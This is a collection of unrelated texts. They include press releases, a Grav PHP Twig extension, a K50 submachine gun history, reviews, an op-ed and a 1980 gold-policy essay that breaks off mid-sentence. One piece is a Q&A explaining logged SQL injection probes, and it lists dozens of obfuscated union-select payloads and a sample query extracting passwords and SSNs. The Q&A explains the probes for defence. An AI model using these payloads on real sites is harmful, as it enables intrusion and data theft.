Phileo, Lesaffre's business unit dedicated to Animal Care and Diana Pet Food have entered into a partnership in yeast and bacteria solutions for the pet food industry.
Marcq-en-Baroeul and Elven, France (March 29th, 2018) – Phileo Lesaffre Animal Care, a global producer of innovative solutions from yeast probiotics and yeast fractions for animal care, and Diana Pet Food, global leader in high value solutions improving pets' well-being and owners' satisfaction today announced the decision to market and develop a complete portfolio of yeast and bacteria solutions for pet food manufacturers.
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The partnership brings together two global players with a solid track record in offering high performance nutrition and health solutions to the industry, who share the ambition to always better serve their customers and to increase the value given to the pet food industry. Diana Pet Food receives the exclusive distribution of the Phileo portfolio of yeast and bacteria solutions to pet food manufacturers on a global level. Starting today both companies will be collaborating in the development of a probiotic solution especially created to meet the specific demands of the pet food market.


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Events - January 24, 2017
Arrogate named the 2016 Longines World's Best Racehorse, while the Breeders' Cup Classic was crowned 2016 Longines World's Best Horse Race
London (UK) / Saint-Imier (Switzerland), 24 January 2017 – Longines and the International Federation of Horseracing Authorities (IFHA) honoured the top racehorses and horse race from 2016 during a ceremony held at the iconic hotel Claridge's in London. The American colt Arrogate was crowned the 2016 Longines World's Best Racehorse with a rating of 134. California Chrome, also from America, was rated second at 133, while the Australian mare Winx took third place at 132. On the same day, the 2016 Longines World's Best Horse Race award was given to the Breeders' Cup Classic with a rating of 125.25.
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K50 – wietnamski pistolet maszynowy.

W latach pięćdziesiątych armia Wietnamu Północnego otrzymała duże ilości radzieckich pistoletów maszynowych PPSz i ich chińskich kopii Type 50.

Były to dobre pistolety maszynowe, ale zbyt ciężkie i nieporęczne dla drobnych Wietnamczyków. Dlatego w lokalnych zakładach zaczęto je przebudowywać. W celu zmniejszenia masy pozbawiano je drewnianej kolby, którą zastępowała kolba wysuwana skopiowana z pistoletu maszynowego MAT 49. Skracano także osłonę lufy, która sięgała po przebudowie tylko do jej połowy. Pod komorą zamkową mocowano chwyt pistoletowy skopiowany z karabinu AK.

Tak przebudowany pistolet maszynowy (oznaczony jako K50) był lżejszy i poręczniejszy w czasie walk miejskich czy w dżungli od PPSz.

Pistolet maszynowy K50 był produkowany w kilku mało różniących się odmianach. Nie jest do końca jasne czy wszystkie K50 powstały przez przebudowę PPSz, czy też część była budowana od podstaw. Pistolety maszynowe K50 były używane przez Wietkong podczas wojny wietnamskiej.

Opis techniczny
Pistolet maszynowy K50 działał na zasadzie odrzutu zamka swobodnego. Zasilanie w naboje z pudełkowego, łukowego magazynka o pojemności 35 nabojów, podczepianego od dołu broni. Z prawej strony znajdowało się okno wyrzutnika łusek. Do zabezpieczenia pistoletu przy zamku napiętym lub zwolnionym służył bezpiecznik suwakowy w rączce zamka, wsuwany w wycięcia w tylnej i przedniej części komory zamkowej. Mechanizm spustowy wyposażony był w przełącznik rodzaju ognia (ogień pojedynczy / seryjny), umieszczony przed spustem w kabłąku spustowym. Pokrywa komory zamkowej przechodziła w osłonę lufy sięgającą 2/3 jej długości. Celownik przerzutowy o nastawach 100 i 200 m. Muszka stała, w osłonie, umieszczona na podstawi zamocowanej na końcu lufy. Kolba metalowa, wysuwana.

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Il doppio del torneo di tennis Virginia Slims of Florida 1993, facente parte del WTA Tour 1993, ha avuto come vincitrici Gigi Fernández e Nataša Zvereva che hanno battuto in finale Larisa Neiland e Jana Novotná 6-2, 6-2.

Teste di serie

 Gigi Fernández /  Nataša Zvereva (Campionesse)
 Larisa Neiland /  Jana Novotná (finale)
 Arantxa Sánchez Vicario /  Rennae Stubbs (semifinali)
 Jill Hetherington /  Kathy Rinaldi-Stunkel (quarti di finale)

 Mary Joe Fernández /  Zina Garrison (quarti di finale)
 Steffi Graf /  Stephanie Rehe (quarti di finale)
 Sandy Collins /  Rachel McQuillan (semifinali)
 Sandra Cecchini (primo turno)

Tabellone

Finale

Parte alta

Parte bassa

Collegamenti esterni

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namespace Grav\Plugin\Admin\Twig;

use Grav\Common\Grav;
use Grav\Common\Page\Interfaces\PageInterface;
use Grav\Common\Yaml;
use Grav\Common\Language\Language;

class AdminTwigExtension extends \Twig_Extension
{
    /**
     * @var Grav
     */
    protected $grav;

    /**
     * @var Language $lang
     */
    protected $lang;

    public function __construct()
    {
        $this->grav = Grav::instance();
        $this->lang = $this->grav['user']->language;
    }

    public function getFilters()
    {
        return [
            new \Twig_SimpleFilter('tu', [$this, 'tuFilter']),
            new \Twig_SimpleFilter('toYaml', [$this, 'toYamlFilter']),
            new \Twig_SimpleFilter('fromYaml', [$this, 'fromYamlFilter']),
            new \Twig_SimpleFilter('adminNicetime', [$this, 'adminNicetimeFilter']),
            new \Twig_SimpleFilter('nested', [$this, 'nestedFilter']),
        ];
    }

    public function getFunctions()
    {
        return [
            new \Twig_SimpleFunction('getPageUrl', [$this, 'getPageUrl'], ['needs_context' => true]),
            new \Twig_SimpleFunction('clone', [$this, 'cloneFunc']),
        ];
    }

    public function nestedFilter($current, $name)
    {
        $path = explode('.', trim($name, '.'));

        foreach ($path as $field) {
            if (is_object($current) && isset($current->{$field})) {
                $current = $current->{$field};
            } elseif (is_array($current) && isset($current[$field])) {
                $current = $current[$field];
            } else {
                return null;
            }
        }

        return $current;
    }

    public function cloneFunc($obj)
    {
        return clone $obj;
    }

    public function getPageUrl($context, PageInterface $page)
    {
        $page_route = trim($page->rawRoute(), '/');
        $page_lang = $page->language();
        $base_url = $context['base_url'];
        $base_url_simple = $context['base_url_simple'];
        $admin_lang = Grav::instance()['session']->admin_lang ?: 'en';

        if ($page_lang && $page_lang !== $admin_lang) {
            $page_url = $base_url_simple . '/' . $page_lang . '/' . $context['admin_route'] . '/pages/' . $page_route;
        } else {
            $page_url = $base_url . '/pages/' . $page_route;
        }

        return $page_url;
    }

    public static function tuFilter()
    {
        $args = func_get_args();
        $numargs = count($args);
        $lang = null;

        if (($numargs === 3 && is_array($args[1])) || ($numargs === 2 && !is_array($args[1]))) {
            $lang = array_pop($args);
        } elseif ($numargs === 2 && is_array($args[1])) {
            $subs = array_pop($args);
            $args = array_merge($args, $subs);
        }

        return Grav::instance()['admin']->translate($args, $lang);
    }

    public function toYamlFilter($value, $inline = null)
    {
        return Yaml::dump($value, $inline);

    }

    public function fromYamlFilter($value)
    {
        return Yaml::parse($value);
    }

    public function adminNicetimeFilter($date, $long_strings = true)
    {
        return Grav::instance()['admin']->adminNiceTime($date, $long_strings);
    }

}

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Q: Purpose of SQL Injection So we have a search field on our website, and I save all of the search terms to a database table.
I brought up the search term table today and noticed some weird searches, where it's pretty clear that someone is trying to mess around with our database.
There have been over 200 searches just today.
They seem to be variations on a theme:
999999.9) union all select 1 and (0=0
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21)
999999.9 union all select 1
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39--
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39--
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39--
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39--
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39--
999999.9 union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21)--
999999.9 union all select 1--
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and "0"="0
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0
999999.9" /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and "0"="0
999999.9" union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and "0"="0
999999.9" union all select 1 and "0"="0
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and '0'='0
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0
999999.9' /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and '0'='0
999999.9' union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and '0'='0
999999.9' union all select 1 and '0'='0
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39 and (0=0)
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39 and (0=0)
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0)
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0)
999999.9) /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39,0x393133363636353631352e39 and (0=0)
999999.9) union all select /**/cOnCaT(0x217e21,0x51554144434f5245454e47494e45363636,0x217e21) and (0=0)
999999.9) union all select 1 and (0=0)
999999.9 /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
labor op99999' union select unhex(hex(version())) -- 'x'='x
labor op99999' union select unhex(hex(version())) -- 'x'='x

Our site search uses parameterized queries, and I've tried pasting a few of them in so I don't think they are getting anything, but I'm really curious what they are trying to get.

A:
I'm really curious what they are trying to get.

At first, nothing. These are just probes. They're just trying to see your service produce an unexpected result that indicates it couldn't handle the input. There's probably not even any real person at the keyboard here; it's likely just a script trying various possibilities.
If any of the probes actually succeed, though, the nature of the attack will change, and you'll start to see attempts to do something more malicious.
I wouldn't wait for that, even if you're sure it can't happen. Check your logs to see where the attack is coming from, and, if possible, block that user or IP from ever seeing your system.

A: Submitting union all clauses simultaneously probes the vulnerability to injection and the structure of your queries. Using postgres (because that's what I have at hand):
(unknown website query)
/**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39

ERROR:  each UNION query must have the same number of columns
LINE 2: /**/uNiOn /**/aLl /**/sElEcT 0x393133363636353631352e39
                                ^
********** Error **********

ERROR: each UNION query must have the same number of columns

If your website forwards this error message, I'll have learned 1) the sql injection worked, and 2) the unknown website query selects more than one column. So now I try with two columns, three columns, and so on until I get a different error message, for example:
ERROR:  UNION types text and integer cannot be matched
LINE 2: /**/aLl /**/sElEcT 0x393133363636353631352e39, 0

Now I know that sql injection works and I also know that either col_1 or col_2 of your query returned text data. Soon I'll have mapped out the points where sql injection is possible, the number of columns returned, and the datatypes of each column.
Next, I might try UNION'ing from common table names such as user that might store valuable information:
(unknown website query)
union all select user_id, password, ssn from user

The hacker also appears to be checking whether comment syntax can be injected: /**/ and --. This is useful because it can potentially be used to modify your queries by commenting out and replacing portions of them.
I'd guess the unusual capitalization makes it easier for the hacker to automate the process of finding vulnerabilities by searching for that unique string in the website's response. There's more going on here, and I don't understand all of it, but I hope that gives the general idea of how your site's being probed.

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Anthony Kemp in the role of Nemecsek. Further photographs from the movie The Boys of Paul Street (1969) directed by Zoltán Fábri (1917–1994) the famous Hungarian director. The film was nominated for the Academy Award for Best Foreign Language Film.
Ernő Nemecsek is a skinny, blond boy in the Paul Street gang. Two rival gangs of boys fight for their playground in Budapest at the end of the 19th century: the ones in red shirts and the boys from Paul Street. The ground is a timber yard with huge piles of wood surrounded by blocks of flats at the corner of Paul Street.
Our hero is the only private in the Paul Street gang. His mates falsely accuse him of being a traitor and put him to shame when they enter his name into the report in small letters: ernő nemecsek, traitor. He is timid, but not a coward. When the flag of the ground is stolen he decides to get it back. During the adventures in the botanical gardens he gets into water three times and goes down with pneumonia. On the day of the battle he lies at home, has a high temperature. Yet he feels he has to go as the ground is not a simple playground for him, but HOMELAND. It is him, the smallest and the weakest of the boys who decides the "battle".
Nemecsek is the symbol of self-sacrifice and heroic courage of ordinary people taking responsibility for homeland. His mates do not understand him, push him aside, put him to shame and realize his human greatness only after his death.
The author Ferenc Molnár (1878, Budapest–1952, New York). Photo by Edward Steichen taken in 1928, Petőfi Literary Museum, Photo Collection.
Ferenc Molnár, writer, playwright, journalist is a most significant dramatists and novelists of Hungarian bourgeois literature. He was born as Ferenc Neumann into an upper middle class Jewish family. At the age of 18 he took the literary name, Molnár. Cafés and theatres were his real home. He lived a Bohemian life, got married to well-known actresses. His play Devil was performed in 1907 when his world famous novel based on his childhood memories, The Paul Street Boys was published. Typical figures of the atmosphere of big cities and bourgeois life are presented in his writings. He became the most popular playwright of his age both in Hungary and abroad. Liliom (Lily) was first on in Budapest followed by the opening in Vienna in 1912. The play was filmed by Fritz Lang in 1934, and it was the basis of the Broadway musical Carousel in 1945. Following the first night of Hattyú (Swan) in Paris in 1927 he was awarded the Grand Cross of the National Order of the Legion of Honour. Escaping fascism he spent increasingly more time abroad in Vienna, Nice, Geneva. In 1940 he emigrated to New York with his third wife, the actress, Lili Darvas. He never got used to the new environment. He lived detached in his hotel room near Central Park. His play Panoptikum (Waxworks) was first on in Broadway in 1949. He got into increasingly worse state of nerves and died on April 1st 1952 in New York.


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Dorsey: Railroad merger charts a clear track to environmental gains & carbon neutrality
Thu, 11/18/2021 - 5:11am -- tim
by Dr Michael K Dorsey Protecting our environment and reducing climate change inducing emissions is complex and often defined by hard choices. While we may wish environmental protection was as simple as flipping a switch, the reality is rarely that straightforward.
There will never be a "silver bullet" when it comes to protecting our environment. I believe that rather than becoming frustrated by the absence of one-size fit-all solutions, it can be just as productive to make thoughtful choices today that enable us to achieve incremental environmental gains – that may ultimately may deliver breakthroughs over the longer term.
Sometimes, incremental environmental victories are hiding from us in plain sight.
Take freight transportation, for example.
Every year, trucks, ships, planes, and trains move billions of tons of cargo. While freight transportation keeps the global economy moving – it's essential and unavoidable – it's also a heavy driver of polluting emissions. According to MIT, freight transportation accounts for around 8 percent of global carbon emissions.
Curtailing freight transportation isn't an option. Indeed, we are seeing and experiencing the downside of unplanned freight restrictions on the global supply chain chaos playing out now. We can do much more to ensure our transportation infrastructure is as modern, reliable, and ecological efficient as possible. And that it is good for our environment and our economy too.
Such improvements, however, are expensive, often requiring billions in investment to provide infrastructure enhancements at scale. That's why federal debates over legislation funding infrastructure revitalization are so hotly contested.
Sometimes opportunities emerge to drive change in the communities we call home without draining the treasury. Here in New England, the proposed merger of CSX with Pan Am Railroad is an opportunity that can bring about big, positive environmental and economic changes quickly without breaking the bank.
The bottom line is simple: CSX is a Class I railroad, ready and able to modernize our region's aging rail infrastructure. This means improved rail lines, updated locomotive fleets with lower maintenance costs and better fuel efficiency, and improved technology and operations. In 2019, CSX set a record as the only Class I railroad to average one gallon of fuel used to transport goods per thousand gross ton miles.
The benefits of a modernized, efficient regional rail system to customers are impossible to miss: shorter timelines, fewer delays, reduced costs, less pollution and more await New England if the project is approved. CSX's higher standards will enable upgrades and updates to the Pan Am network that the smaller, New England line cannot currently afford to make on its own. And over the longer term, the environmental benefits will grow many fold as the region benefits from a railroad operator that from all appearances has the financial footing to actually ensure their actions match their rhetoric.
To be sure, rail is already the most fuel-efficient way to move freight over land – at least three or four times more efficient than trucks. CSX – thanks to things like its modern, efficient fleet and its "Trip Optimizer" software – takes fuel efficiency to another level. CSX moves a ton of freight more than 500 miles on a single gallon of fuel, on average. Whereas the average age of locomotives operated by Pan Am today is more than 40 years old. A merger will cycle in newer models in line with CSX's nationwide operating standards as a Class I railroad. Further, CSX will be able to serve Pan Am's existing network with fewer locomotives than what's needed today – meaning even fewer emissions.
Reducing the numbers of trains and upgrading them would essentially end noise and pollution violations, as well as complaints shared by New England residents against antiquated Pan Am operations.
The merger between CSX and Pan Am is still undergoing review before the Surface Transportation Board. Approving the application could be a key step forward to moving us further down the railroad to net zero freight emissions.
Dr. Michael K. Dorsey, who served on the National Advisory Committee of the U.S. Environmental Protection Agency during the Obama administration and served for 11 years on the Board of Directors of the Sierra Club, is currently chief strategy officer for Solair, a technology company in the renewable energy space. Dr. Dorsey formerly served as an environmental studies professor at Dartmouth College, a guest facility member at Wesleyan University and more recently served as a Macmillan Visiting Scholar at the University of Vermont's Gund Institute for Environment.


Someone posed these questions to me to answer for a group that meets every month in Texas. Currently, I am in Seattle and am unable to attend in person, but I still answered the questions as they were too good to ignore! I'd love to hear your response to these questions. Feel free to share with me!
How do we tell Gods story in what we are doing?
Live your life saturated in Christ, and art will flow from that. Do/make the best you can with the gifts he has given you, let the art flow from who you are in Christ - a transformed Christian life - and leave the results to God.
An artist is not who I am: I am a child of God - my identity is in Christ, and art is what I do. I believe that Christ gave me the gift of creativity, and my job is to steward that gift well; to create beautiful things that reflect the beauty and glory of the original creator, using my art to give the creator of creativity the glory he deserves.


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Have no fear — Slender Man Origins
By Spencer Campbell
Slender Man rose out of the black abyss that is the Something Awful forums back in 2009. He has all the trappings of a grade A horror creature: lumberingly tall, blank face, long tentacles, and, perhaps scariest of all, a starched and clean business suit. The monstrous man's origins have never been fully explained, and the only thing known about him is that he steals children.
To put this review into perspective, allow me to tell you an embarrassing fact about myself. I'm terrified of all things horror. I still have nightmares about shows Wikipedia calls "tongue-in-cheek" that I saw 10 years ago.
Every monster needs a good origin story, and Slender Man doesn't seem to have one that's set in stone. Slender Man Origins attempts to give him a dark background that dates back to the year 1702. I'm not sure where he got such a stylish suit back then, but I suppose that just adds to the mystery BIGZUR lends to the trendsetting beast. Slender Man has taken some children that the main character seemingly has no attachment to, but regardless he runs off to several haunted locales to hunt down the Slender Man.
The story is thinner than the game's antagonist, and doesn't even try to pull the player into the world. Though the ability to choose what order you play through the levels is novel, it's that mechanic that breaks down the core of what could be a well told horror narrative. Instead of having an eerie story unfold slowly, the game is forced to maintain the same pace throughout each level.
But not all horror games need a great story, they just need a good atmosphere. Games like Resident Evil and Amnesia hinge almost exclusively on the air surrounding the player. Sadly, this is one of the places Slender Man Origins fails most. Wandering, terrified that the Slender Man could be around any corner should be a big part of the game, but instead several cheap scares are employed. Yawn-inducing skulls drop from the ceiling, chairs jitter and shake, and I once saw a statue fall over, clipping through the wall next to it. Even the surprisingly good sound cues that go along with these scares don't do enough to save them from the depths of laughability. This all adds up to my scaredy pants tucked away neatly in my closet while I slept soundly after a couple of long play sessions.
Occasionally, you'll round a corner and there will be the monstrous figure of the Slender Man, and in order to escape, you look away and just start walking. Well, most of the time–there were many times when I just couldn't get the character to turn, forcing me stare into the faceless creature until I presumably either died or went insane.
The gameplay is tedious and has almost no sense of urgency. My time with Slender Man Origins was broken up like this: 10% finding children, 10% running away from Slender Man, and 80% walking around. With no map or guide at all, there is a lot of time wasted trudging through the maze-like levels. At times the game felt more like I was touring an abandoned Colonial Williamsburg than running from a terrifying monster. Slender Man doesn't seem to want anything to do with the children, he mostly just seems to be hiding around corners to jump out at the player. Maybe if he had a mouth he'd even scream, "Boo!"
I'm sorry to say that Slender Man Origins feels like a cash-in on the trend that's swept across the web. Good work went into the 3D environments and sound effects, but Slender Man adds nothing more than a name to the overall boring experience presented by the game's central mechanics. Even the biggest fans of horror can skip this entry in the long list of Slender Man related media--that is unless they're also big fans of aimless wandering.
—Spencer Campbell
Nice full 3D environments
Good sound cues
Varied levels
Poor story, weak delivery
No sense of bearing or direction
Cheap horror tricks fail to impress
Spencer Campbell has summited many mountains just to shout, "Video games are for nerds!!" After extensive scientific testing, he has concluded that they are. He plans on accepting his Nobel Prize as soon as the dorks in Sweden return his calls.


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The Politics of Gold
Executive Summary: The inclusion of a "gold plank" in the Republican platform, which reflects Ronald Reagan's willingness to devote monetary policy solely to maintaining price stability, has legitimatized serious discussion about dollar convertibility. The failure of Keynesian and Monetarist monetary experiments in the 1970s has begun to humble anti-gold dogmatists who are shifting toward accommodation. An "eventual" return is admitted. But a solid Reagan victory could lead to a swift monetary reform that would trigger a major bull market in bonds as well as extending a Reagan bull market in stocks. The Reagan campaign, though, has stumbled badly in August, reflecting the continued absence of a dominant campaign strategist. Pressures on the campaign are likely to force the required correction. The Carter-Reagan debates and the paid media war still will determine the election's outcome.
Ultimately, inflation is a decline in the value of the dollar, the monetary standard. Until the decade of the 1970s, monetary policy was automatically linked to the overriding objective of maintaining a stable dollar value. The severing of the dollar's link with real commodities in the 1960s and 1970s, in order to pursue economic goals other than dollar stability, has unleashed hyperinflationary forces at home and monetary disorder abroad, without bringing any of the desired economic benefits. One of the most urgent tasks in the period ahead will be the restoration of a dependable monetary standard — that is, an end to inflation.
This is the "gold plank" of the 1980 Republican Party platform, unanimously approved by the 25-member subcommittee on fiscal and monetary affairs chaired by Delaware's Senator William Roth. The word "gold" was not specifically mentioned, although the subcommittee was conscious of the implications of the language of the plank, only because the political foundation had not yet been laid. In the primaries, Ronald Reagan had campaigned specifically on the pledge that monetary policy would only be employed to maintain price stability, insofar as he could ultimately influence the policy of the Federal Reserve. This stand in itself is of profound importance for it rejects the argument and belief of the demand-management theorists that monetary policy should also be used to combat recession. It was this belief that brought Keynesians and Monetarists together in an assault on gold that culminated in President Nixon's closing of the gold window in August, 1971.
The Keynesian argument at the time was that the fixed exchange-rate regime of the Bretton Woods system was penalizing the U.S. economy, specifically that the U.S. dollar had become overvalued relative to the Japanese yen and the Deutschemark. It was argued that if only the U.S. could devalue the dollar relative to these currencies it would enjoy economic expansion. Devaluation would mean fewer imports and greater exports, it was argued, and this would translate into more jobs and industrial activity. But under Bretton Woods, the United States had no power to influence the dollar's exchange rates with foreign currencies. The agreement was that the United States would maintain the dollar/gold exchange rate at $35 per ounce. Foreign central banks would be responsible for maintaining their currency exchange rates with the U.S. dollar, not concerning themselves with the price of gold, for there would be no need to do so. If Japan maintains the yen/dollar rate and the U.S. maintains the dollar/gold rate, the yen/gold rate is maintained automatically.
In order to achieve their policy objectives, the Keynesians had to devalue the dollar relative to gold and at the same time persuade foreign central banks to maintain the old implied currency/ gold ratio. That is, according to this theory the U.S. economy could be stimulated via devaluation to gold only if all other countries agreed not to maintain parity to the dollar. Otherwise, the same export/import relationships would hold at a higher general price level for everyone. Treasury Secretary John Connally was persuaded of this view by the theorists and hammered through the Smithsonian Agreement of December, 1971. The dollar/gold and foreign currency/dollar rates were changed to achieve a 13 percent average dollar devaluation against the other currencies.
To the monetarists, this was an uninteresting theory. But they joined forces with the Keynesians because of a wholly different theory. The monetarists also argued that monetary policy could be used to combat recession, but this could not be achieved if the monetary authority remained bound to maintaining the dollar/gold price at any rate. The Federal Reserve had to be free to manage the quantity of money according to the monetarist formulae. That is, the Fed can only follow one rule at a time, a quantity rule or a price rule. To follow Milton Friedman's quantity rule, the monetarist objective was an end to the dollar/gold price altogether. The dollar, they said, must "float" against the price of gold and thus against other currencies.
Where John Connally had achieved the Keynesian objective, George Shultz achieved the monetarist objective, presiding over the formal severing of the U.S. Bretton Woods obligation to maintain a dollar/gold price. Shultz, and William Simon after him at Treasury, took the cues from Professor Friedman. The floating of the dollar was applauded by Keynesians in the belief that it would free domestic demand-management from international constraints. The vision was of money-supply increases bringing down interest rates as opposed to money-supply increases being used by Americans to buy imports, which would then result in foreign claims on U.S. gold. The leading Keynesian in Congress, Chairman Henry Reuss of the House Banking Committee, predicted that with gold no longer having a role as a monetary asset, its dollar price would fall to about $6.
A decade ago, the classical economists forecast what the GOP platform now concludes; that the experiment with an "independent" monetary policy would unleash an inflation without bringing any of the desired economic benefits. Indeed, in 1969, Robert Mundell of Columbia University not only forecast that the experiment with dollar inconvertibility would soon begin, but that the global experience would prove so unsatisfactory that by 1980 it would end.
In the classical, supply-side model, individuals produce in order to consume; their objective is to produce both for current consumption and for future consumption. For current consumption, they require a medium of exchange that holds its value in order for trade with other producers to be facilitated, with no windfall losses or gains to either. For future consumption, they need a unit of account that holds its value over time. That is, the baker produces ten loaves, consumes eight and saves two. To save the two, he must translate them into a financial asset that can be translated back into two loaves next week, next year, or two decades hence, when he will retire. If the financial asset's unit of account does not hold its value, the two loaves become one, and eventually a slice. Observing the process, the baker's incentive to produce for future consumption erodes and he produces less. Or, he seeks to translate his loaves into less efficient assets that are not denominated in the shrinking unit of account: gold, for one. In the supply-side model, monetary policy should be employed solely to maintain the unit of account. Fiscal policy is the instrument designated to increase the efficiency and the productivity of the economy.
To the classical economists, the Bretton Woods system failed simply because its managers failed to understand that monetary policy alone was the instrument required to maintain the dollar price of gold, and through this process the prices of all other commodities. Instead, policymakers were led to believe that monetary policy could be employed to expand the domestic economy, and fiscal policy — tariffs or quotas — employed to maintain the dollar/gold ratio. (Americans would buy fewer foreign goods; therefore, foreigners would have fewer dollar claims on the U.S. gold stocks.)
There is one key piece to the puzzle that became available in the latter part of the decade that was not available at its opening: A classical explanation of the triggering cause of the Great Depression. The Depression, after all spawned the Keynesian and Monetarist schools, each of which put forward a hypothesis that it was trigged by a demand shock. The Keynesians argued that its causes were social, a maldistribution of income that produced an insufficiency of purchasing power in the pockets of the masses; the remedy was deficit finance of collective demand and income redistribution via taxation. To the Monetarists, the problem was insufficient bank liquidity from 1929 to 1933, which should have been remedied by going off gold to permit fiat money creation. In 1977, classical economists could put forward the hypothesis that it was a supply shock that triggered the Depression: the Smoot-Hawley Tariff Act of 1930, which cleared its chief legislative hurdle in the Senate in October, 1929. Consistent with this hypothesis is the contraction of the money supply by one third as an effect of the shock to production, not its cause. The hypothesis that maintenance of the dollar/gold ratio caused the Depression, which has ever since been used to give gold a bad name, has at the very least been challenged; at most, discredited.
This review is important to the understanding of the politics of gold in September, 1980 and beyond. While most of the world believes a return to dollar convertibility impossible in the foreseeable future, the possibility of a swift return exists should Reagan win a solid victory in November. The primary reason is the widespread recognition that the experiment with a non-defined, floating dollar has failed to produce the promised benefits.
Just as important is the fact that only a handful of people stand in the way, and they are visibly wilting. Mundell points out that change which seems incredibly difficult in foresight often seems easily accomplished with hindsight. His example is the founding of the Bank of England in 1694, which had been thought impossible to accomplish "until King William III did it simply with a stroke of his pen." Arthur Laffer's example is especially relevant: Through the 1960s and into the spring of 1971, even the most ardent advocates of an inconvertible dollar confessed that they did not expect it to happen, and then there was the stroke of Nixon's pen.
The key people standing in the way of restoring dollar convertibility are the policymakers who took credit for it at the time: George Shultz, with pride of authorship, and William Simon, without; Henry Reuss, who assumed all the credit on the legislative end; John Connally, to a lesser degree because he participated only in the first phase. The other policymakers of the era were either passive, doing what they wrere told without emotional commitment (Nixon) or skeptical at the very outset, giving way to the political imperative (Arthur Burns and Paul Volcker). The others standing in the w7ay are only the Keynesians, broadly speaking, because no single Keynesian economist of stature invested emotional capital in the idea, and Milton Friedman. This is the entire cutting edge of the anti-gold contingent.
And what would happen if Milton Friedman began an accommodation to gold? Would Shultz and Simon remain steadfast in opposition? What would happen if the Keynesians, through economists of stature, began an accommodation? Would Henry Reuss remain steadfast? As it is, George Shultz told the Washington Post on July 31 that a return to gold is "not workable" and Henry Reuss in the House of Representatives on July 30 called the Republican plank "a sleazy seduction by one of the most noxious interest groups going — an eccentric cabal of newsletter writers, calamity peddlers, speculators, dealers and hoarders". Alan Greenspan, who played no role in the experiment, told the Post he sees a return to a gold link, but not until inflation is brought under control. (The supply-side model continues to elude Greenspan.)
There is, though, cracking at the theoretical level. In August, the Brookings Institution released the 10th anniversary issue of its Papers on Economic Activity. Brookings, a Keynesian outpost, gave the lead role in reviewing the economics of the 1970s to James Tobin of Yale, which suggests that the Keynesians consider Tobin their leading political economist. And here is Tobin with a startling admission:
In August 1971 the United States abrogated the Bretton Woods agreement, made the dollar inconvertible into gold, and forced other major countries to appreciate their currencies against the dollar. These steps led in 1973 to abandonment of pegged exchange rates in favor of "dirty" floating. But the new regime did not in the end fulfill the hope, long nurtured by economists, that floating would relax the international constraints on domestic policies.1
What of Milton Friedman? Clearly he has been struggling in the last few years with his experiment. Here, first, is the confident Friedman, in his presidential address to the American Economic Association on December 29, 1967, explaining why monetary policy should move to a quantity rule instead of a price rule:
